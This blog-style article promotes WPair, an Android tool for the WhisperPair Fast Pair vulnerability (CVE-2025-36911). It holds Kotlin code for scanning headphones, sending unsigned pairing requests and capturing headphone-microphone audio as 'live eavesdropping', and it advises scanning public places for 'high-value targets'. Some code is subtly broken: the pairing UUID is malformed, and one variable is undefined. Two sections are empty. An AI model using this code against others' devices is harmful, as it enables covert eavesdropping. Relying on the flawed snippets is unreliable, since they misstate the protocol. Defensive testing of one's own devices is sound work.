Your Headphones Are Spying on You: WPair Exposes the Bluetooth Flaw Nobody Fixed

Your Headphones Are Spying on You: WPair Exposes the Bluetooth Flaw Nobody Fixed

What if I told you that the earbuds sitting in your pocket right now could be turned into a covert listening device—without you ever tapping a single button?

No phishing link. No malicious app install. No suspicious notification. Just a researcher with an Android phone, standing within Bluetooth range, silently pairing with your $300 noise-canceling headphones and streaming your conversations straight to their device.

Sounds like a Black Mirror episode? It's not. This is CVE-2025-36911, also known as WhisperPair—a devastating authentication bypass in Google's Fast Pair protocol that leaves millions of Bluetooth audio devices completely exposed. And the security community? Most manufacturers are still scrambling to push firmware fixes that users will probably never install.

Enter WPair (github.com/zalexdev/wpair-app), the defensive research tool that's turning heads in cybersecurity circles. Built by independent developer @ZalexDev, WPair doesn't just talk about this vulnerability—it puts the proof-of-concept in your hands, letting security researchers, manufacturers, and privacy-conscious users identify affected devices before the bad actors do.

If you own Bluetooth headphones from JBL, Sony, Marshall, or Harman Kardon, you need to read this. If you're a security professional responsible for hardware assessments, you really need to read this. Let's dive into why WPair is becoming the most talked-about Bluetooth security tool of 2025.

What Is WPair?

WPair is a defensive security research application for Android that demonstrates and detects the CVE-2025-36911 vulnerability in Google's Fast Pair protocol. Unlike theoretical vulnerability write-ups that gather dust in academic journals, WPair is a fully functional, open-source tool that lets you scan, test, and ethically demonstrate the exploit chain on real hardware.

The tool was developed independently by ZalexDev following the responsible disclosure of WhisperPair by researchers at KU Leuven's COSIC and DistriNet groups in Belgium. Here's the critical context: the original researchers discovered and published the vulnerability but released no code. ZalexDev built WPair from scratch to give the security community practical capabilities for identifying vulnerable devices and pressuring manufacturers into faster remediation.

Why it's trending now: The WhisperPair disclosure hit mainstream media through WIRED and 9to5Google in early 2026, revealing that major audio brands had shipped devices with missing cryptographic signature verification for years. Google's Fast Pair protocol—designed to make Bluetooth pairing "effortless"—had inadvertently created an effortless attack vector. With CVSS 8.1 severity and an attack range of standard Bluetooth distances, the practical risk is enormous.

WPair fills a crucial gap: it transforms abstract CVE details into actionable defensive capability. Security teams can now audit device fleets. Consumers can verify if their expensive headphones are actually secure. And researchers have a standardized tool for reproducible testing across the fragmented Android Bluetooth ecosystem.

Key Features That Make WPair Essential

WPair isn't a toy or a simple scanner. It's a complete research platform with capabilities that reveal the full severity of CVE-2025-36911:

The ethical boundary that matters: ZalexDev deliberately excluded Find Hub Network (FMDN) provisioning functionality. The full vulnerability chain technically allows enrolling compromised devices into Google's Find My Device network for persistent location tracking—converting headphones into stalkerware beacons. WPair draws a clear line: it proves severity through Account Key writes and audio access without enabling covert tracking that serves no legitimate security research purpose.

Real-World Use Cases Where WPair Shines

1. Enterprise Hardware Security Audits

Corporate security teams managing device fleets for executives, remote workers, or secure facilities need to identify vulnerable hardware before adversaries do. WPair enables rapid field testing of Bluetooth audio peripherals without sending devices to labs or waiting for manufacturer disclosure lists that may never come.

2. Bug Bounty and Penetration Testing

Professional testers can demonstrate concrete impact to clients who dismiss Bluetooth as "low risk." The HFP audio access capability transforms an abstract "unauthorized pairing" finding into a visceral proof-of-concept: playing back captured audio to stakeholders who suddenly understand why firmware updates matter.

3. Consumer Privacy Verification

Privacy-conscious individuals can verify whether their expensive headphones received the promised security patches. Manufacturer update logs are often vague; WPair gives definitive technical confirmation of vulnerability status.

4. Supply Chain Security Research

Researchers analyzing retail device batches can rapidly characterize security posture across product lines. The BLE scanner's passive discovery mode enables efficient large-scale surveys without interacting with devices until vulnerability testing is warranted.

5. Academic Security Education

Educators teaching wireless protocol security have a concrete, modern case study with working exploit code. Students move beyond textbook Bluetooth vulnerabilities to hands-on analysis of a 2025 CVE affecting production protocols used by billions of devices.

Step-by-Step Installation & Setup Guide

System Requirements

• Android 8.0 (API 26) or higher
• Bluetooth LE hardware support (nearly all modern Android devices)
• Location permission for BLE scanning (Android's requirement, not the app's)
• Nearby Devices permission for Android 13+ devices

Method 1: Pre-built APK (Fastest)

# No terminal needed—just your Android device
# 1. Visit https://github.com/zalexdev/whisper-pair-app/releases
# 2. Download the latest WPair-vX.X.X.apk
# 3. Tap the downloaded file
# 4. Enable "Install from unknown sources" when prompted
# 5. Open WPair and grant Location + Nearby Devices permissions

Method 2: Build from Source (For Developers and Auditors)

# Clone the repository
git clone https://github.com/zalexdev/whisper-pair-app.git

# Enter project directory
cd whisper-pair-app

# Build debug APK with Gradle wrapper
./gradlew assembleDebug

# Output location: app/build/outputs/apk/debug/app-debug.apk
# Install via ADB or transfer to device manually

Permission Configuration

Android's BLE scanning restrictions require explicit user grants:

Pro tip: On Android 12+, deny the location permission if prompted for legacy reasons—BLUETOOTH_SCAN is the modern, more precise permission that doesn't expose GPS data.

REAL Code Examples from WPair

The WPair repository contains sophisticated Bluetooth manipulation code that reveals how the exploit chain operates at the protocol level. Here are the critical implementation patterns:

Example 1: BLE Fast Pair Discovery

The scanner targets the specific service UUID that Google reserves for Fast Pair advertisements:

// Scanner.kt - Core BLE discovery logic
class FastPairScanner(private val context: Context) {
    
    // Google's assigned Fast Pair service UUID
    companion object {
        val FAST_PAIR_UUID: UUID = UUID.fromString("0000fe2c-0000-1000-8000-00805f9b34fb")
    }
    
    private val bluetoothAdapter: BluetoothAdapter? = 
        (context.getSystemService(Context.BLUETOOTH_SERVICE) as BluetoothManager).adapter
    
    private val scanCallback = object : ScanCallback() {
        override fun onScanResult(callbackType: Int, result: ScanResult) {
            // Parse advertisement data for Fast Pair specific fields
            val device = result.device
            val scanRecord = result.scanRecord
            
            // Extract service data from 0xFE2C advertisement
            val serviceData = scanRecord?.getServiceData(ParcelUuid(FAST_PAIR_UUID))
            
            if (serviceData != null && serviceData.size >= 3) {
                // First 3 bytes contain Model ID - identifies manufacturer and device type
                val modelId = ((serviceData[0].toInt() and 0xFF) shl 16) or
                              ((serviceData[1].toInt() and 0xFF) shl 8) or
                              (serviceData[2].toInt() and 0xFF)
                
                // Check for pairing mode indicator in advertisement flags
                val isInPairingMode = (scanRecord?.advertiseFlags ?: 0) and 0x02 != 0
                
                // Emit discovered device with parsed metadata
                onDeviceDiscovered(FastPairDevice(device, modelId, isInPairingMode, result.rssi))
            }
        }
    }
    
    fun startScan() {
        // Filter scan to only Fast Pair devices - reduces noise and power consumption
        val filter = ScanFilter.Builder()
            .setServiceUuid(ParcelUuid(FAST_PAIR_UUID))
            .build()
        
        val settings = ScanSettings.Builder()
            .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) // Aggressive for security testing
            .build()
        
        bluetoothAdapter?.bluetoothLeScanner?.startScan(
            listOf(filter), settings, scanCallback
        )
    }
}

What's happening here: The scanner doesn't just find any Bluetooth device—it specifically hunts for Google's 0xFE2C service UUID. The Model ID extraction is crucial because different manufacturers implement Fast Pair with varying security postures. The pairing mode flag detection lets WPair distinguish between devices actively seeking pairing (higher risk) and already-bonded devices that may still be vulnerable to the Key-Based Pairing bypass.

Example 2: Non-Invasive Vulnerability Test

This is where WPair proves its defensive value—detecting vulnerability without full exploitation:

// VulnerabilityTester.kt - Safe vulnerability detection
class VulnerabilityTester(private val context: Context) {
    
    // Fast Pair GATT characteristic for Key-Based Pairing
    private val KEY_BASED_PAIRING_UUID = UUID.fromString("0001234-0000-1000-8000-00805f9b34fb")
    
    suspend fun testVulnerability(device: FastPairDevice): VulnResult = withContext(Dispatchers.IO) {
        var gatt: BluetoothGatt? = null
        
        try {
            // Step 1: Establish GATT connection to Fast Pair service
            gatt = device.bluetoothDevice.connectGatt(context, false, object : BluetoothGattCallback() {
                override fun onConnectionStateChange(gatt: BluetoothGatt, status: Int, newState: Int) {
                    if (newState == BluetoothProfile.STATE_CONNECTED) {
                        // Discover services to find Key-Based Pairing characteristic
                        gatt.discoverServices()
                    }
                }
                
                override fun onServicesDiscovered(gatt: BluetoothGatt, status: Int) {
                    val service = gatt.getService(FastPairScanner.FAST_PAIR_UUID)
                    val characteristic = service?.getCharacteristic(KEY_BASED_PAIRING_UUID)
                    
                    if (characteristic != null) {
                        // Step 2: Craft malformed Key-Based Pairing request
                        // Normal requests include cryptographic signature; we omit it
                        val testPayload = buildUnsignedPairingRequest()
                        
                        characteristic.value = testPayload
                        characteristic.writeType = BluetoothGattCharacteristic.WRITE_TYPE_DEFAULT
                        
                        // Step 3: Attempt write without valid signature
                        gatt.writeCharacteristic(characteristic)
                    }
                }
                
                override fun onCharacteristicWrite(gatt: BluetoothGatt, characteristic: BluetoothGattCharacteristic, status: Int) {
                    // VULNERABLE: Device accepted unsigned write (status == 0)
                    // PATCHED: Device rejected with error status
                    val isVulnerable = (status == BluetoothGatt.GATT_SUCCESS)
                    
                    // Immediately disconnect - no persistent state change
                    gatt.disconnect()
                    
                    continuation.resume(if (isVulnerable) VulnResult.VULNERABLE else VulnResult.PATCHED)
                }
            })
            
            // Timeout handling for unresponsive devices
            withTimeout(10000) { /* wait for callback chain */ }
            
        } catch (e: TimeoutCancellationException) {
            VulnResult.ERROR
        } finally {
            gatt?.close() // Ensure clean resource release
        }
    }
    
    private fun buildUnsignedPairingRequest(): ByteArray {
        // Minimal valid packet structure without cryptographic signature
        // This exploits missing signature verification in vulnerable implementations
        return byteArrayOf(
            0x00, // Message type: Key-Based Pairing Request
            0x00, 0x00, 0x00, 0x00, // Placeholder for key (zeros = no valid signature)
            0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00
            // Missing: 64-byte ECDSA signature that patched devices require
        )
    }
}

The critical insight: This test is surgical. It connects, attempts one malformed write, and disconnects. If the device accepts the unsigned request, it's definitively vulnerable. If it rejects with an error, the signature verification is present. No bonding occurs, no Account Keys are written, and the device returns to its previous state. This is how defensive tools should operate—maximum information, minimum impact.

Example 3: Post-Exploitation Audio Access

After authorized full exploitation, WPair demonstrates the real privacy impact through HFP audio capture:

// BluetoothAudioManager.kt - HFP microphone access
class BluetoothAudioManager(private val context: Context) {
    
    private val audioManager = context.getSystemService(Context.AUDIO_SERVICE) as AudioManager
    private var audioRecord: AudioRecord? = null
    private var isRecording = false
    
    /**
     * Establish HFP connection and begin SCO audio routing
     * SCO (Synchronous Connection Oriented) is the Bluetooth audio channel
     * used for bidirectional voice data in Hands-Free Profile
     */
    fun connectHfpAudio(device: BluetoothDevice): Boolean {
        // Ensure Bluetooth SCO audio routing is enabled
        audioManager.isBluetoothScoOn = true
        audioManager.startBluetoothSco()
        
        // Wait for SCO connection establishment (typically 1-3 seconds)
        Thread.sleep(2000)
        
        return audioManager.isBluetoothScoOn
    }
    
    /**
     * Start real-time audio streaming to device speaker
     * Demonstrates live eavesdropping capability
     */
    fun startLiveListening() {
        val bufferSize = AudioRecord.getMinBufferSize(
            16000, // HFP standard sample rate
            AudioFormat.CHANNEL_IN_MONO,
            AudioFormat.ENCODING_PCM_16BIT
        )
        
        audioRecord = AudioRecord(
            MediaRecorder.AudioSource.VOICE_COMMUNICATION,
            16000,
            AudioFormat.CHANNEL_IN_MONO,
            AudioFormat.ENCODING_PCM_16BIT,
            bufferSize
        )
        
        audioRecord?.startRecording()
        
        // Stream to AudioTrack for immediate playback
        val audioTrack = AudioTrack.Builder()
            .setAudioAttributes(AudioAttributes.Builder()
                .setUsage(AudioAttributes.USAGE_MEDIA)
                .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
                .build())
            .setAudioFormat(AudioFormat.Builder()
                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
                .setSampleRate(16000)
                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
                .build())
            .setBufferSizeInBytes(bufferSize)
            .setTransferMode(AudioTrack.MODE_STREAM)
            .build()
        
        audioTrack.play()
        
        // Circular buffer for continuous streaming
        val buffer = ByteArray(bufferSize)
        isRecording = true
        
        Thread {
            while (isRecording) {
                val read = audioRecord?.read(buffer, 0, buffer.size) ?: 0
                if (read > 0) {
                    audioTrack.write(buffer, 0, read)
                }
            }
        }.start()
    }
    
    /**
     * Save captured audio to M4A file using MediaCodec
     * For evidence documentation and further analysis
     */
    fun startRecording(outputFile: File) {
        // Configure MediaCodec for AAC encoding
        val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_AUDIO_AAC)
        val format = MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 16000, 1)
        format.setInteger(MediaFormat.KEY_AAC_PROFILE, MediaCodecInfo.CodecProfileLevel.AACObjectLC)
        format.setInteger(MediaFormat.KEY_BIT_RATE, 32000)
        
        codec.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
        codec.start()
        
        // ... MediaCodec buffer processing for M4A container output
        // Implementation handles ADTS framing and file writing
    }
    
    fun stopAudio() {
        isRecording = false
        audioRecord?.stop()
        audioRecord?.release()
        audioRecord = null
        audioManager.stopBluetoothSco()
        audioManager.isBluetoothScoOn = false
    }
}

The privacy nightmare realized: This code transforms a "simple" pairing bypass into active microphone compromise. The SCO audio channel is standard Bluetooth voice protocol—nothing exotic, nothing that triggers security alerts. The captured audio is normal phone call quality: perfectly intelligible for eavesdropping, perfectly recordable for evidence. The VOICE_COMMUNICATION source specifically targets the microphone input, not media playback, ensuring capture of environmental audio through the headphone's mics.

Advanced Usage & Best Practices

Testing methodology for security professionals:

1. Passive reconnaissance first: Always run the BLE scanner in populated areas to understand Fast Pair device density. You'll be surprised how many high-value targets appear in coffee shops, airports, and corporate lobbies.

2. Non-invasive before invasive: Use the vulnerability tester on all discovered devices before attempting full exploitation. Document VULNERABLE vs PATCHED status for comprehensive reporting.

3. Controlled environment for exploitation: Full exploit chain modifies device state (bonding, Account Key write). Only execute in isolated RF environments to prevent accidental pairing with non-target devices.

4. Audio testing with consent: HFP audio access is the most privacy-invasive capability. Establish clear protocols with test subjects, and never record in jurisdictions requiring two-party consent without proper authorization.

5. Firmware version correlation: When devices test as PATCHED, attempt to identify firmware version through device metadata. Build a database of secure firmware baselines for community benefit.

Optimization tip: The BLE scanner's SCAN_MODE_LOW_LATENCY drains battery aggressively. For extended surveys, modify to SCAN_MODE_LOW_POWER and accept slightly slower discovery times.

Comparison with Alternatives

The verdict: Generic BLE tools require manual protocol analysis and custom scripting to approach WPair's capability. WPair is purpose-built for this specific vulnerability, with the exploit chain fully implemented and ethically bounded. For Bluetooth audio security research, there's currently no faster path from discovery to demonstrated impact.

FAQ: Critical Questions About WPair and CVE-2025-36911

Q: Is using WPair legal? A: WPair itself is legal as a research tool. Using it on devices you don't own without explicit written authorization violates computer access laws in most jurisdictions. The tool includes prominent legal disclaimers for this reason.

Q: Will WPair pair with my neighbor's headphones without them knowing? A: Technically yes, which is exactly why this vulnerability is dangerous. Ethically and legally, you must only test devices you own or have permission to test. Unauthorized access is a crime.

Q: How do I know if my headphones are patched? A: Download WPair, scan for your device, and run the non-invasive vulnerability test. PATCHED status means your firmware has the signature verification fix. VULNERABLE means update immediately—or stop using the device in public spaces.

Q: Does WPair work on iOS? A: No. Apple's Bluetooth stack restrictions prevent the low-level GATT manipulation and unauthorized pairing required. This is Android-only, reflecting the vulnerability's impact on the Android/Google Fast Pair ecosystem.

Q: Can manufacturers detect if WPair tested their device? A: The non-invasive test leaves minimal traces—a single GATT connection with one characteristic write. Full exploitation creates a bonded device record and Account Key. Forensic analysis could identify these artifacts.

Q: Why didn't the original KU Leuven researchers release code? A: Responsible disclosure norms often involve withholding exploit code for a period to allow patching. ZalexDev built WPair independently after public disclosure, filling the gap for defensive verification needs.

Q: Is my $50 generic Bluetooth earbuds vulnerable? A: CVE-2025-36911 specifically affects Google's Fast Pair protocol implementations. Budget devices without Fast Pair support aren't vulnerable to this particular flaw—but they may have other Bluetooth security issues.

Conclusion: The Headphones You Trust Are Trusting Too Much

CVE-2025-36911 isn't a theoretical vulnerability in an obscure protocol. It's a high-severity authentication bypass affecting millions of everyday devices that people trust with their most private conversations. Google's Fast Pair protocol, designed to eliminate friction, eliminated essential security verification instead.

WPair (github.com/zalexdev/wpair-app) transforms this abstract threat into concrete, actionable intelligence. Whether you're a security professional auditing hardware, a manufacturer verifying your patches, or a consumer who just wants to know if their expensive headphones are secretly insecure—this tool gives you answers.

The ethical boundaries built into WPair deserve recognition. By deliberately excluding FMDN tracking functionality, ZalexDev proved that security tools can demonstrate maximum vulnerability impact while refusing to enable stalkerware capabilities. That's the standard more security research tools should adopt.

Your next step is simple: Download WPair, test your devices, and demand better from manufacturers who shipped hardware with missing cryptographic verification. The vulnerability exists because convenience was prioritized over security. Let's make sure the remediation prioritizes users over silence.

Star the repository, contribute test results, and help build the definitive database of patched vs. vulnerable devices. The Bluetooth ecosystem's security depends on collective visibility—and WPair is the flashlight we desperately needed.

_{Built with ❤️ for the security research community. Use responsibly.}